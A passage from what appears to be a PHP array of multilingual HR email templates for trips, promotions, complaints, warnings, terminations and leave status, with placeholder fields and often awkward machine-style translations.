有关行程的更多详细信息:{start_date} 到 {end_date}

行程持续时间:{start_date} 到 {end_date}

参观的目的:{purpose_of_visit}

参观地点:{place_of_visit}

描述:{trip_description}

如果您有任何疑问,请随时与我们联系.

谢谢

问候,

人事部,

{app_name}

', 'he' => '

נושא:-מחלקת משאבי אנוש/חברה לשלוח מכתב טיול .

יָקָר {employee_trip_name},

שיא הבוקר לך! אני כותב למשרד המחלקה שלך עם בקשה צנועה לנסוע לא {purpose_of_visit} מחוץ לארץ.

זה יהיה פורום עסקי האקלים המוביל של השנה והתמזל מזלי להיות מועמד לייצג את החברה שלנו ואת האזור במהלך הסמינר.

חברותי בת שלוש שנים כחלק מהקבוצה והתרומות שתרמתי לחברה, כתוצאה מכך, הועילו באופן סימביוטי. בהקשר זה, אני מבקש ממך כמפקד הישיר שלי להתיר לי להשתתף.

פרטים נוספים על הטיול:{start_date} ל {end_date}

משך הטיול:{start_date} ל {end_date}

מטרת הביקור:{purpose_of_visit}

מקום ביקור:{place_of_visit}

תיאור:{trip_description}

אל תהסס לפנות אם יש לך שאלות.

תודה

בברכה,

מחלקת משאבי אנוש,

{app_name}

', 'pt-br' => '

Assunto:-Departamento de RH / Empresa para enviar carta de viagem.

Querido {employee_trip_name},

Topo da manhã para você! Estou escrevendo para o seu departamento de departamento com um humilde pedido para viajar por um {purpose_of_visit} no exterior.

Seria o principal fórum de negócios climático do ano e teve a sorte de ser indicado para representar nossa empresa e a região durante o seminário.

A minha filiação de três anos como parte do grupo e contribuições que fiz à empresa, como resultado, foram simbioticamente benéfico. A esse respeito, solicito que você seja meu superior imediato para me permitir comparecer.

Mais detalhes sobre viagem:

Trip Duração: {start_date} a {end_date}

Objetivo da Visita: {purpose_of_visit}

Local de Visita: {place_of_visit}

Descrição: {trip_description}

Sinta-se à vontade para alcançar fora se você tiver alguma dúvida.

Obrigado

Considera,

Departamento de RH,

{app_name}

', ], ], 'employee_promotion' => [ 'subject' => 'Employee Promotion', 'lang' => [ 'ar' => '

Subject : -HR القسم / الشركة لارسال رسالة تهنئة الى العمل للتهنئة بالعمل.

عزيزي { employee_promotion_name },

تهاني على ترقيتك الى { promotion_designation } { promotion_title } الفعال { promotion_date }.

وسنواصل توقع تحقيق الاتساق وتحقيق نتائج عظيمة منكم في دوركم الجديد. ونأمل أن تكون قدوة للموظفين الآخرين في المنظمة.

ونتمنى لكم التوفيق في أداءكم في المستقبل ، وتهانينا !

ومرة أخرى ، تهانئي على الموقف الجديد.

إشعر بالحرية للوصول إلى الخارج إذا عندك أي أسئلة.

شكرا لك

Regards,

إدارة الموارد البشرية ،

{ app_name }

', 'da' => '

Om: HR-afdelingen / Virksomheden om at sende en lykønskning til jobfremstød.

Kære { employee_promotion_name },

Tillykke med din forfremmelse til { promotion_designation } { promotion_title } effektiv { promotion_date }.

Vi vil fortsat forvente konsekvens og store resultater fra Dem i Deres nye rolle. Vi håber, at De vil foregå med et godt eksempel for de øvrige ansatte i organisationen.

Vi ønsker Dem held og lykke med Deres fremtidige optræden, og tillykke!

Endnu en gang tillykke med den nye holdning.

Du er velkommen til at række ud, hvis du har nogen spørgsmål.

Tak.

Med venlig hilsen

HR-afdelingen,

{ app_name }

', 'de' => '

Betrifft: -Personalabteilung/Unternehmen, um einen Glückwunschschreiben zu senden.

Sehr geehrter {employee_promotion_name},

Herzlichen Glückwunsch zu Ihrer Werbeaktion an {promotion_designation} {promotion_title} wirksam {promotion_date}.

Wir werden von Ihnen in Ihrer neuen Rolle weiterhin Konsistenz und große Ergebnisse erwarten. Wir hoffen, dass Sie ein Beispiel für die anderen Mitarbeiter der Organisation setzen werden.

Wir wünschen Ihnen viel Glück für Ihre zukünftige Leistung, und gratulieren!

Nochmals herzlichen Glückwunsch zu der neuen Position.

Fühlen Sie sich frei, wenn Sie Fragen haben.

Danke.

Betrachtet,

Personalabteilung,

{app_name}

', 'en' => '

 

Subject:-HR department/Company to send job promotion congratulation letter.

Dear {employee_promotion_name},

Congratulations on your promotion to {promotion_designation} {promotion_title} effective {promotion_date}.

We shall continue to expect consistency and great results from you in your new role. We hope that you will set an example for the other employees of the organization.

We wish you luck for your future performance, and congratulations!.

Again, congratulations on the new position.

 

Feel free to reach out if you have any questions.

Thank you

Regards,

HR Department,

{app_name}

', 'es' => '

Asunto: -Departamento de RRHH/Empresa para enviar carta de felicitación de promoción de empleo.

Estimado {employee_promotion_name},

Felicidades por su promoción a {promotion_designation} {promotion_title} efectiva {promotion_date}.

Seguiremos esperando la coherencia y los grandes resultados de ustedes en su nuevo papel. Esperamos que usted ponga un ejemplo para los otros empleados de la organización.

Le deseamos suerte para su futuro rendimiento, y felicitaciones!.

Una vez más, felicidades por la nueva posición.

Siéntase libre de llegar si usted tiene alguna pregunta.

¡Gracias!

Considerando,

Departamento de Recursos Humanos,

{app_name}

', 'fr' => '

Objet: -Département RH / Société denvoi dune lettre de félicitations pour la promotion de lemploi.

Cher { employee_promotion_name },

Félicitations pour votre promotion à { promotion_désignation } { promotion_title } effective { promotion_date }.

Nous continuerons à vous attendre à une cohérence et à de grands résultats de votre part dans votre nouveau rôle. Nous espérons que vous trouverez un exemple pour les autres employés de lorganisation.

Nous vous souhaitons bonne chance pour vos performances futures et félicitations !

Encore une fois, félicitations pour le nouveau poste.

Nhésitez pas à nous contacter si vous avez des questions.

Je vous remercie

Regards,

Département des RH,

{ app_name }

', 'it' => '

Oggetto: - Dipartimento HR / Società per inviare la lettera di congratulazioni alla promozione del lavoro.

Caro {employee_promotion_name},

Complimenti per la tua promozione a {promotion_designation} {promotion_title} efficace {promotion_date}.

Continueremo ad aspettarci coerenza e grandi risultati da te nel tuo nuovo ruolo. Ci auguriamo di impostare un esempio per gli altri dipendenti dellorganizzazione.

Ti auguriamo fortuna per le tue prestazioni future, e complimenti!.

Ancora, complimenti per la nuova posizione.

Sentiti libero di raggiungere se hai domande.

Grazie

Riguardo,

Dipartimento HR,

{app_name}

', 'ja' => '

件名:-HR 部門/企業は、求人広告の祝賀状を送信します。

{ employee_promotion_name} に出庫します。

{promotion_designation } { promotion_title} {promotion_date} 販促に対するお祝いのお祝いがあります。

今後とも、お客様の新しい役割において一貫性と大きな成果を期待します。 組織の他の従業員の例を設定したいと考えています。

あなたの未来のパフォーマンスをお祈りします。おめでとうございます。

また、新しい地位について祝意を表する。

質問がある場合は、自由に連絡してください。

ありがとう

よろしく

HR 部門

{app_name}

', 'nl' => '

Betreft: -HR-afdeling/Bedrijf voor het versturen van de aanbevelingsbrief voor taakpromotie.

Geachte { employee_promotion_name },

Gefeliciteerd met uw promotie voor { promotion_designation } { promotion_title } effective { promotion_date }.

Wij zullen de consistentie en de grote resultaten van u in uw nieuwe rol blijven verwachten. Wij hopen dat u een voorbeeld zult stellen voor de andere medewerkers van de organisatie.

Wij wensen u geluk voor uw toekomstige prestaties, en gefeliciteerd!.

Nogmaals, gefeliciteerd met de nieuwe positie.

Voel je vrij om uit te reiken als je vragen hebt.

Dank u wel

Betreft:

HR-afdeling,

{ app_name }

', 'pl' => '

Temat: -Dział kadr/Firma w celu wysłania listu gratulacyjnego dla promocji zatrudnienia.

Szanowny {employee_promotion_name },

Gratulacje dla awansowania do {promotion_designation } {promotion_title } efektywnej {promotion_date }.

W dalszym ciągu oczekujemy konsekwencji i wspaniałych wyników w Twojej nowej roli. Mamy nadzieję, że postawicie na przykład dla pozostałych pracowników organizacji.

Życzymy powodzenia dla przyszłych wyników, gratulujemy!.

Jeszcze raz gratulacje na nowej pozycji.

Czuj się swobodnie, jeśli masz jakieś pytania.

Dziękujemy

W odniesieniu do

Dział HR,

{app_name }

', 'ru' => '

Тема: -HR отдел/Компания для отправки письма с поздравлением.

Уважаемый { employee_promotion_name },

Поздравляем вас с продвижением в { promotion_designation } { promotion_title } эффективная { promotion_date }.

Мы будем и впредь ожидать от вас соответствия и больших результатов в вашей новой роли. Мы надеемся, что вы станете примером для других сотрудников организации.

Желаем вам удачи и поздравлений!

Еще раз поздравляю с новой позицией.

Не стеснитесь, если у вас есть вопросы.

Спасибо.

С уважением,

Отдел кадров,

{ app_name }

', 'pt' => '

Assunto:-Departamento de RH / Empresa para enviar carta de felicitação de promoção de emprego.

Querido {employee_promotion_name},

Parabéns pela sua promoção para {promotion_designation} {promotion_title} efetivo {promotion_date}.

Continuaremos a esperar consistência e grandes resultados a partir de você em seu novo papel. Esperamos que você defina um exemplo para os demais funcionários da organização.

Desejamos sorte para o seu desempenho futuro, e parabéns!.

Novamente, parabéns pela nova posição.

Sinta-se à vontade para alcançar fora se você tiver alguma dúvida.

Obrigado

Considera,

Departamento de RH,

{app_name}

', 'tr' => '

Konu:-İş promosyonu tebrik mektubu gönderilecek İK departmanı/Şirket.

Sayın {employee_promotion_name},

terfi ettiğiniz için tebrikler {promotion_designation} {promotion_title} etkili {promotion_date}.

Sizden yeni görevinizde tutarlılık ve harika sonuçlar beklemeye devam edeceğiz. Kurumun diğer çalışanlarına da örnek olmanızı temenni ederiz.

Gelecekteki performansınız için size bol şans diliyor, tebrikler!.

Yeni pozisyon için tekrar tebrikler.

 

Herhangi bir sorunuz varsa ulaşmaktan çekinmeyin.

Teşekkür ederim

Saygılarımızla,

İK Departmanı,

{app_name}

', 'zh' => '

 

主题:-HR部门/公司发送职位晋升祝贺信.

亲爱的{employee_promotion_name},

恭喜您晋升为 {promotion_designation} {promotion_title} 有效的 {promotion_date}.

我们将继续期待您在新岗位上保持稳定并取得出色的成果。我们希望您能为组织的其他员工树立榜样.

我们祝愿您未来的表现一切顺利,并表示祝贺!.

再次祝贺您就任新职位.

 

如果您有任何疑问,请随时与我们联系.

谢谢

问候,

人事部,

{app_name}

', 'he' => '

 

נושא:-מחלקת משאבי אנוש/חברה לשלוח מכתב ברכה לקידום בעבודה.

יָקָר {employee_promotion_name},

ברכות על הקידום שלך ל{promotion_designation} {promotion_title} יָעִיל {promotion_date}.

נמשיך לצפות לעקביות ולתוצאות נהדרות ממך בתפקידך החדש. אנו מקווים שתהווה דוגמה לעובדי הארגון האחרים.

אנו מאחלים לך בהצלחה בביצועים העתידיים שלך, ומזל טוב!.

שוב, ברכות על התפקיד החדש.

 

אל תהסס לפנות אם יש לך שאלות.

תודה

בברכה,

מחלקת משאבי אנוש,

{app_name}

', 'pt-br' => '

Assunto:-Departamento de RH / Empresa para enviar carta de felicitação de promoção de emprego.

Querido {employee_promotion_name},

Parabéns pela sua promoção para {promotion_designation} {promotion_title} efetivo {promotion_date}.

Continuaremos a esperar consistência e grandes resultados a partir de você em seu novo papel. Esperamos que você defina um exemplo para os demais funcionários da organização.

Desejamos sorte para o seu desempenho futuro, e parabéns!.

Novamente, parabéns pela nova posição.

Sinta-se à vontade para alcançar fora se você tiver alguma dúvida.

Obrigado

Considera,

Departamento de RH,

{app_name}

', ], ], 'employee_complaints' => [ 'subject' => 'Employee Complaints', 'lang' => [ 'ar' => '

Subject :-قسم الموارد البشرية / الشركة لإرسال رسالة شكوى.

عزيزي { employee_complaints_name },

وأود أن أبلغ عن صراعا بينكم وبين الشخص الآخر. فقد وقعت عدة حوادث خلال الأيام القليلة الماضية ، وأشعر أن الوقت قد حان لتقديم شكوى رسمية ضده / لها.

إشعر بالحرية للوصول إلى الخارج إذا عندك أي أسئلة.

شكرا لك

Regards,

إدارة الموارد البشرية ،

{ app_name }

', 'da' => '

Om: HR-departementet / Kompagniet for at sende klager.

Kære { employee_complaints_name },

Jeg vil gerne anmelde en konflikt mellem Dem og den anden person, og der er sket flere episoder i de seneste dage, og jeg mener, at det er på tide at anmelde en formel klage over for ham.

Du er velkommen til at række ud, hvis du har nogen spørgsmål.

Tak.

Med venlig hilsen

HR-afdelingen,

{ app_name }

', 'de' => '

Betrifft: -Personalabteilung/Unternehmen zum Senden von Beschwerden.

Sehr geehrter {employee_complaints_name},

Ich möchte einen Konflikt zwischen Ihnen und der anderen Person melden. Es hat in den letzten Tagen mehrere Zwischenfälle gegeben, und ich glaube, es ist an der Zeit, eine formelle Beschwerde gegen ihn zu erstatten.

Fühlen Sie sich frei, wenn Sie Fragen haben.

Danke.

Betrachtet,

Personalabteilung,

{app_name}

', 'en' => '

Subject:-HR department/Company to send complaints letter.

Dear {employee_complaints_name},

I would like to report a conflict between you and the other person.There have been several incidents over the last few days, and I feel that it is time to report a formal complaint against him/her.

 

Feel free to reach out if you have any questions.

Thank you

Regards,

HR Department,

{app_name}

', 'es' => '

Asunto: -Departamento de RRHH/Empresa para enviar carta de quejas.

Estimado {employee_complaints_name},

Me gustaría informar de un conflicto entre usted y la otra persona. Ha habido varios incidentes en los últimos días, y creo que es hora de denunciar una queja formal contra él.

Siéntase libre de llegar si usted tiene alguna pregunta.

¡Gracias!

Considerando,

Departamento de Recursos Humanos,

{app_name}

', 'fr' => '

Objet: -Service des ressources humaines / Compagnie pour envoyer une lettre de plainte.

Cher { employee_complaints_name },

Je voudrais signaler un conflit entre vous et lautre personne. Il y a eu plusieurs incidents au cours des derniers jours, et je pense quil est temps de signaler une plainte officielle contre lui.

Nhésitez pas à nous contacter si vous avez des questions.

Je vous remercie

Regards,

Département des RH,

{ app_name }

', 'it' => '

Oggetto: - Dipartimento HR / Società per inviare lettera di reclamo.

Caro {employee_complaints_name},

Vorrei segnalare un conflitto tra lei e laltra persona Ci sono stati diversi incidenti negli ultimi giorni, e sento che è il momento di denunciare una denuncia formale contro di lui.

Sentiti libero di raggiungere se hai domande.

Grazie

Riguardo,

Dipartimento HR,

{app_name}

', 'ja' => '

件名:-HR 部門/会社は、クレーム・レターを送信します。

{ employee_complaints_name} の Dear 

あなたと他の人との間の葛藤を報告したいと思いますこの数日間でいくつかの事件が発生しています彼女に対する正式な申し立てをする時だと感じています

質問がある場合は、自由に連絡してください。

ありがとう

よろしく

HR 部門

{app_name}

', 'nl' => '

Betreft: -HR-afdeling/Bedrijf voor het verzenden van klachtenbrief.

Geachte { employee_complaints_name},

Ik zou een conflict willen melden tussen u en de andere persoon. Er zijn de afgelopen dagen verschillende incidenten geweest en ik denk dat het tijd is om een formele klacht tegen hem/haar in te dienen.

Voel je vrij om uit te reiken als je vragen hebt.

Dank u wel

Betreft:

HR-afdeling,

{ app_name }

', 'pl' => '

Temat:-Dział HR/Firma do wysyłania listu reklamowego.

Szanowna {employee_complaints_name },

Chciałbym zgłosić konflikt między tobą a drugą osobą. W ciągu ostatnich kilku dni było kilka incydentów i czuję, że nadszedł czas, aby zgłosić oficjalną skargę przeciwko niej.

Czuj się swobodnie, jeśli masz jakieś pytania.

Dziękujemy

W odniesieniu do

Dział HR,

{app_name }

', 'ru' => '

Тема: -HR отдел/Компания отправить письмо с жалобами.

Уважаемый { employee_complaints_name }

Я хотел бы сообщить о конфликте между вами и другим человеком. За последние несколько дней произошло несколько инцидентов, и я считаю, что пришло время сообщить о своей официальной жалобе.

Не стеснитесь, если у вас есть вопросы.

Спасибо.

С уважением,

Отдел кадров,

{ app_name }

', 'pt' => '

Assunto:-Departamento de RH / Empresa para enviar carta de reclamações.

Querido {employee_complaints_name},

Eu gostaria de relatar um conflito entre você e a outra pessoa. Houve vários incidentes ao longo dos últimos dias, e eu sinto que é hora de relatar uma denúncia formal contra him/her.

Sinta-se à vontade para alcançar fora se você tiver alguma dúvida.

Obrigado

Considera,

Departamento de RH,

{app_name}

', 'tr' => '

Konu:-Şikayet mektubu gönderilecek İK departmanı/Şirket.

Sayın {employee_complaints_name},

Diğer kişiyle aranızdaki bir anlaşmazlığı bildirmek istiyorum. Son birkaç gün içinde birkaç olay oldu ve bu kişi hakkında resmi bir şikayette bulunmanın zamanının geldiğini düşünüyorum.

 

Herhangi bir sorunuz varsa ulaşmaktan çekinmeyin.

Teşekkür ederim

Saygılarımızla,

İK Departmanı,

{app_name}

', 'zh' => '

主题:-HR部门/公司发送投诉信.

亲爱的 {employee_complaints_name},

我想举报您和对方之间的冲突。过去几天发生了几起事件,我觉得是时候对他/她提出正式投诉了.

 

如果您有任何疑问,请随时与我们联系.

谢谢

问候,

人事部,

{app_name}

', 'he' => '

נושא:-מחלקת משאבי אנוש/חברה לשלוח מכתב תלונות.

יָקָר {employee_complaints_name},

ברצוני לדווח על סכסוך בינך לבין האדם השני. היו מספר תקריות במהלך הימים האחרונים, ואני מרגיש שהגיע הזמן לדווח על תלונה רשמית נגדו/ה.

 

אל תהסס לפנות אם יש לך שאלות.

תודה

בברכה,

מחלקת משאבי אנוש,

{app_name}

', 'pt-br' => '

Assunto:-Departamento de RH / Empresa para enviar carta de reclamações.

Querido {employee_complaints_name},

Eu gostaria de relatar um conflito entre você e a outra pessoa. Houve vários incidentes ao longo dos últimos dias, e eu sinto que é hora de relatar uma denúncia formal contra him/her.

Sinta-se à vontade para alcançar fora se você tiver alguma dúvida.

Obrigado

Considera,

Departamento de RH,

{app_name}

', ], ], 'employee_warning' => [ 'subject' => 'Employee Warning', 'lang' => [ 'ar' => '

Subject : -HR ادارة / شركة لارسال رسالة تحذير. عزيزي { employe_warning_name }, { warning_subject } { warning_description } إشعر بالحرية للوصول إلى الخارج إذا عندك أي أسئلة. شكرا لك Regards, إدارة الموارد البشرية ، { app_name }

', 'da' => '

Om: HR-afdelingen / kompagniet for at sende advarselsbrev.

Kære { employee_warning_name },

{ warning_subject }

{ warning_description }

Du er velkommen til at række ud, hvis du har nogen spørgsmål.

Tak.

Med venlig hilsen

HR-afdelingen,

{ app_name }

', 'de' => '

Betreff: -Personalabteilung/Unternehmen zum Senden von Warnschreiben.

Sehr geehrter {employee_warning_name},

{warning_subject}

{warning_description}

Fühlen Sie sich frei, wenn Sie Fragen haben.

Danke.

Betrachtet,

Personalabteilung,

{app_name}

', 'en' => '

Subject:-HR department/Company to send warning letter.

Dear {employee_warning_name},

{warning_subject}

{warning_description}

Feel free to reach out if you have any questions.

Thank you

Regards,

HR Department,

{app_name}

', 'es' => '

Asunto: -Departamento de RR.HH./Empresa para enviar carta de advertencia.

Estimado {employee_warning_name},

{warning_subject}

{warning_description}

Siéntase libre de llegar si usted tiene alguna pregunta.

¡Gracias!

Considerando,

Departamento de Recursos Humanos,

{app_name}

', 'fr' => '

Objet: -HR department / Company to send warning letter.

Cher { employee_warning_name },

{ warning_subject }

{ warning_description }

Nhésitez pas à nous contacter si vous avez des questions.

Je vous remercie

Regards,

Département des RH,

{ app_name }

', 'it' => '

Oggetto: - Dipartimento HR / Società per inviare lettera di avvertimento.

Caro {employee_warning_name},

{warning_subject}

{warning_description}

Sentiti libero di raggiungere se hai domande.

Grazie

Riguardo,

Dipartimento HR,

{app_name}

', 'ja' => '

件名:-HR 部門/企業は警告レターを送信します。 { employee_warning_name} を出庫します。 {warning_subject} {warning_description} 質問がある場合は、自由に連絡してください。 ありがとう よろしく HR 部門 {app_name}

', 'nl' => '

Betreft: -HR-afdeling/bedrijf om een waarschuwingsbrief te sturen.

Geachte { employee_warning_name },

{ warning_subject }

{ warning_description }

Voel je vrij om uit te reiken als je vragen hebt.

Dank u wel

Betreft:

HR-afdeling,

{ app_name }

', 'pl' => '

Temat: -Dział HR/Firma do wysyłania listu ostrzegawczego.

Szanowny {employee_warning_name },

{warning_subject }

{warning_description }

Czuj się swobodnie, jeśli masz jakieś pytania.

Dziękujemy

W odniesieniu do

Dział HR,

{app_name }

', 'ru' => '

Тема: -HR отдел/Компания для отправки предупреждающего письма.

Уважаемый { employee_warning_name },

{ warning_subject }

{ warning_description }

Не стеснитесь, если у вас есть вопросы.

Спасибо.

С уважением,

Отдел кадров,

{ app_name }

', 'pt' => '

Assunto:-Departamento de RH / Empresa para enviar carta de advertência.

Querido {employee_warning_name},

{warning_subject}

{warning_description}

Sinta-se à vontade para alcançar fora se você tiver alguma dúvida.

Obrigado

Considera,

Departamento de RH,

{app_name}

', 'tr' => '

Konu:-İK departmanı/Şirket uyarı mektubu gönderecek.

Sayın {employee_warning_name},

{warning_subject}

{warning_description}

Herhangi bir sorunuz varsa ulaşmaktan çekinmeyin.

Teşekkür ederim

Saygılarımızla,

İK Departmanı,

{app_name}

', 'zh' => '

主题:-人力资源部门/公司发送警告信.

亲爱的{employee_warning_name},

{warning_subject}

{warning_description}

如果您有任何疑问,请随时与我们联系.

谢谢

问候,

人事部,

{app_name}

', 'he' => '

נושא:-מחלקת משאבי אנוש/חברה לשלוח מכתב אזהרה.

יָקָר {employee_warning_name},

{warning_subject}

{warning_description}

אל תהסס לפנות אם יש לך שאלות.

תודה

בברכה,

מחלקת משאבי אנוש,

{app_name}

', 'pt-br' => '

Assunto:-Departamento de RH / Empresa para enviar carta de advertência.

Querido {employee_warning_name},

{warning_subject}

{warning_description}

Sinta-se à vontade para alcançar fora se você tiver alguma dúvida.

Obrigado

Considera,

Departamento de RH,

{app_name}

', ], ], 'employee_termination' => [ 'subject' => 'Employee Termination', 'lang' => [ 'ar' => '

Subject :-ادارة / شركة HR لارسال رسالة انهاء. عزيزي { employee_termination_name } ، هذه الرسالة مكتوبة لإعلامك بأن عملك مع شركتنا قد تم إنهاؤه مزيد من التفاصيل عن الانهاء : تاريخ الاشعار : { notice_date } تاريخ الانهاء : { termination_date } نوع الانهاء : { termination_type } إشعر بالحرية للوصول إلى الخارج إذا عندك أي أسئلة. شكرا لك Regards, إدارة الموارد البشرية ، { app_name }

', 'da' => '

Emne:-HR-afdelingen / Virksomheden om at sende afslutningstskrivelse.

Kære { employee_termination_name },

Dette brev er skrevet for at meddele dig, at dit arbejde med vores virksomhed er afsluttet.

Flere oplysninger om ophævelse:

Adviseringsdato: { notifice_date }

Opsigelsesdato: { termination_date }

Opsigelsestype: { termination_type }

Du er velkommen til at række ud, hvis du har nogen spørgsmål.

Tak.

Med venlig hilsen

HR-afdelingen,

{ app_name }

', 'de' => '

Betreff: -Personalabteilung/Firma zum Versenden von Kündigungsschreiben.

Sehr geehrter {employee_termination_name},

Dieser Brief wird Ihnen schriftlich mitgeteilt, dass Ihre Beschäftigung mit unserem Unternehmen beendet ist.

Weitere Details zur Kündigung:

Kündigungsdatum: {notice_date}

Beendigungsdatum: {termination_date}

Abbruchstyp: {termination_type}

Fühlen Sie sich frei, wenn Sie Fragen haben.

Danke.

Betrachtet,

Personalabteilung,

{app_name}

', 'en' => '

Subject:-HR department/Company to send termination letter.

Dear {employee_termination_name},

This letter is written to notify you that your employment with our company is terminated.

More detail about termination:

Notice Date :{notice_date}

Termination Date:{termination_date}

Termination Type:{termination_type}

 

Feel free to reach out if you have any questions.

Thank you

Regards,

HR Department,

{app_name}

', 'es' => '

Asunto: -Departamento de RRHH/Empresa para enviar carta de rescisión.

Estimado {employee_termination_name},

Esta carta está escrita para notificarle que su empleo con nuestra empresa ha terminado.

Más detalles sobre la terminación:

Fecha de aviso: {notice_date}

Fecha de terminación: {termination_date}

Tipo de terminación: {termination_type}

Siéntase libre de llegar si usted tiene alguna pregunta.

¡Gracias!

Considerando,

Departamento de Recursos Humanos,

{app_name}

', 'fr' => '

Objet: -HR department / Company to send termination letter.

Cher { employee_termination_name },

Cette lettre est rédigée pour vous aviser que votre emploi auprès de notre entreprise prend fin.

Plus de détails sur larrêt:

Date de lavis: { notice_date }

Date de fin: { termination_date}

Type de terminaison: { termination_type }

Nhésitez pas à nous contacter si vous avez des questions.

Je vous remercie

Regards,

Département des RH,

{ app_name }

', 'it' => '

Oggetto: - Dipartimento HR / Società per inviare lettera di terminazione.

Caro {employee_termination_name},

Questa lettera è scritta per comunicarti che la tua occupazione con la nostra azienda è terminata.

Più dettagli sulla cessazione:

Data avviso: {notice_data}

Data di chiusura: {termination_date}

Tipo di terminazione: {termination_type}

Sentiti libero di raggiungere se hai domande.

Grazie

Riguardo,

Dipartimento HR,

{app_name}

', 'ja' => '

件名:-HR 部門/企業は終了文字を送信します。

{ employee_termination_name} を終了します。

この手紙は、当社の雇用が終了していることをあなたに通知するために書かれています。

終了についての詳細 :

通知日 :{notice_date}

終了日:{termination_date}

終了タイプ:{termination_type}

質問がある場合は、自由に連絡してください。

ありがとう

よろしく

HR 部門

{app_name}

', 'nl' => '

Betreft: -HR-afdeling/Bedrijf voor verzending van afgiftebrief.

Geachte { employee_termination_name },

Deze brief is geschreven om u te melden dat uw werk met ons bedrijf wordt beëindigd.

Meer details over beëindiging:

Datum kennisgeving: { notice_date }

Beëindigingsdatum: { termination_date }

Beëindigingstype: { termination_type }

Voel je vrij om uit te reiken als je vragen hebt.

Dank u wel

Betreft:

HR-afdeling,

{ app_name }

', 'pl' => '

Temat: -Dział kadr/Firma do wysyłania listu zakańczego.

Droga {employee_termination_name },

Ten list jest napisany, aby poinformować Cię, że Twoje zatrudnienie z naszą firmą zostaje zakończone.

Więcej szczegółów na temat zakończenia pracy:

Data ogłoszenia: {notice_date }

Data zakończenia: {termination_date }

Typ zakończenia: {termination_type }

Czuj się swobodnie, jeśli masz jakieś pytania.

Dziękujemy

W odniesieniu do

Dział HR,

{app_name }

', 'ru' => '

Тема: -HR отдел/Компания отправить письмо о прекращении.

Уважаемый { employee_termination_name },

Это письмо написано, чтобы уведомить вас о том, что ваше трудоустройство с нашей компанией прекратилось.

Более подробная информация о завершении:

Дата уведомления: { notice_date }

Дата завершения: { termination_date }

Тип завершения: { termination_type }

Не стеснитесь, если у вас есть вопросы.

Спасибо.

С уважением,

Отдел кадров,

{ app_name }

', 'pt' => '

Assunto:-Departamento de RH / Empresa para enviar carta de rescisão.

Querido {employee_termination_name},

Esta carta é escrita para notificá-lo de que seu emprego com a nossa empresa está finalizado.

Mais detalhes sobre a finalização:

Data de Aviso: {notice_date}

Data de Finalização: {termination_date}

Tipo de Rescisão: {termination_type}

Sinta-se à vontade para alcançar fora se você tiver alguma dúvida.

Obrigado

Considera,

Departamento de RH,

{app_name}

', 'tr' => '

Konu:-İK departmanı/Şirket fesih mektubu gönderecek.

Sayın {employee_termination_name},

Bu mektup, şirketimizle olan işinize son verildiğini size bildirmek için yazılmıştır.

Sonlandırma hakkında daha fazla ayrıntı:

Bildirim Tarihi :{notice_date}

Bitiş tarihi:{termination_date}

Sonlandırma Türü:{termination_type}

 

Herhangi bir sorunuz varsa ulaşmaktan çekinmeyin.

Teşekkür ederim

Saygılarımızla,

İK Departmanı,

{app_name}

', 'zh' => '

主题:-人力资源部门/公司发送终止函.

亲爱的 {employee_termination_name},

这封信旨在通知您,您与我们公司的雇佣关系已终止.

有关终止的更多详细信息:

通知日期 :{notice_date}

终止日期:{termination_date}

端接类型:{termination_type}

 

如果您有任何疑问,请随时与我们联系.

谢谢

问候,

人事部,

{app_name}

', 'he' => '

נושא:-מחלקת משאבי אנוש/חברה לשלוח מכתב סיום.

יָקָר {employee_termination_name},

מכתב זה נכתב כדי להודיע ​​לך על סיום העסקתך בחברה שלנו.

פרטים נוספים על סיום:

תאריך הודעה :{notice_date}

תאריך סיום:{termination_date}

סוג סיום:{termination_type}

 

אל תהסס לפנות אם יש לך שאלות.

תודה

בברכה,

מחלקת משאבי אנוש,

{app_name}

', 'pt-br' => '

Assunto:-Departamento de RH / Empresa para enviar carta de rescisão.

Querido {employee_termination_name},

Esta carta é escrita para notificá-lo de que seu emprego com a nossa empresa está finalizado.

Mais detalhes sobre a finalização:

Data de Aviso: {notice_date}

Data de Finalização: {termination_date}

Tipo de Rescisão: {termination_type}

Sinta-se à vontade para alcançar fora se você tiver alguma dúvida.

Obrigado

Considera,

Departamento de RH,

{app_name}

', ], ], 'leave_status' => [ 'subject' => 'Leave Status', 'lang' => [ 'ar' => '

Subject : -HR ادارة / شركة لارسال رسالة الموافقة الى { leave_status } اجازة أو ترك.

عزيزي { leave_status_name } ،

لدي { leave_status } طلب الخروج الخاص بك الى { leave_reason } من { leave_start_date } الى { leave_end_date }.

{ total_leave_days } أيام لدي { leave_status } طلب الخروج الخاص بك ل ـ { leave_reason }.

ونحن نطلب منكم أن تكملوا كل أعمالكم المعلقة أو أي قضية مهمة أخرى حتى لا تواجه الشركة أي خسارة أو مشكلة أثناء غيابكم. نحن نقدر لك مصداقيتك لإبلاغنا بوقت كاف مقدما

إشعر بالحرية للوصول إلى الخارج إذا عندك أي أسئلة.

شكرا لك

Regards,

إدارة الموارد البشرية ،

{ app_name }

', 'da' => '

Emne:-HR-afdelingen / Kompagniet for at sende godkendelsesbrev til { leave_status } en ferie eller orlov.

Kære { leave_status_name },

Jeg har { leave_status } din orlov-anmodning for { leave_reason } fra { leave_start_date } til { leave_end_date }.

{ total_leave_days } dage Jeg har { leave_status } din anmodning om { leave_reason } for { leave_reason }.

Vi beder dig om at færdiggøre alt dit udestående arbejde eller andet vigtigt spørgsmål, så virksomheden ikke står over for nogen tab eller problemer under dit fravær. Vi sætter pris på din betænksomhed at informere os godt på forhånd

Du er velkommen til at række ud, hvis du har nogen spørgsmål.

Tak.

Med venlig hilsen

HR-afdelingen,

{ app_name }

', 'de' => '

Betreff: -Personalabteilung/Firma, um den Genehmigungsschreiben an {leave_status} einen Urlaub oder Urlaub zu schicken.

Sehr geehrter {leave_status_name},

Ich habe {leave_status} Ihre Urlaubsanforderung für {leave_reason} von {leave_start_date} bis {leave_end_date}.

{total_leave_days} Tage Ich habe {leave_status} Ihre Urlaubs-Anfrage für {leave_reason}.

Wir bitten Sie, Ihre gesamte anstehende Arbeit oder ein anderes wichtiges Thema abzuschließen, so dass das Unternehmen während Ihrer Abwesenheit keinen Verlust oder kein Problem zu Gesicht bekommen hat. Wir schätzen Ihre Nachdenklichkeit, um uns im Vorfeld gut zu informieren

Fühlen Sie sich frei, wenn Sie Fragen haben.

Danke.

Betrachtet,

Personalabteilung,

{app_name}

', 'en' => '

Subject:-HR department/Company to send approval letter to {leave_status} a vacation or leave.

Dear {leave_status_name},

I have {leave_status} your leave request for {leave_reason} from {leave_start_date} to {leave_end_date}.

{total_leave_days} days I have {leave_status}  your leave request for {leave_reason}.

